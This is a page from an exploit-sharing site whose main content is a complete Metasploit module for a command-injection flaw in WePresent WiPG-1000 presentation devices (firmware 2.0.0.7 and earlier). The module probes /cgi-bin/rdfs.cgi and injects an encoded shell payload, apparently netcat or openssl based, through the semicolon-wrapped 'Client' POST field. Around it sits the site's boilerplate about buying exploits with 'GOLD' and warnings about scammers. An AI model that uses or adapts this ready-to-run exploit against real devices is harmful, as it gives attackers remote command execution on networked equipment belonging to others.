0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WePresent WiPG-1000 Command Injection Exploit
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'WePresent WiPG-1000 Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in an undocumented CGI file in several versions of the WePresent WiPG-1000 devices. Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthias Brun', # Vulnerability Discovery, Metasploit Module ], 'References' => [ [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat openssl' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['WiPG-1000 <=2.0.0.7', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 20 2017', 'DefaultTarget' => 0)) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/cgi-bin/rdfs.cgi') }) if res and res.body =~ /Follow administrator instructions to enter the complete path/ then return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit print_status('Sending request') send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('/cgi-bin/rdfs.cgi'), 'vars_post' => { 'Client' => ";#{payload.encoded};", 'Download' => 'Download' } ) end end # 0day.today [2024-11-15] #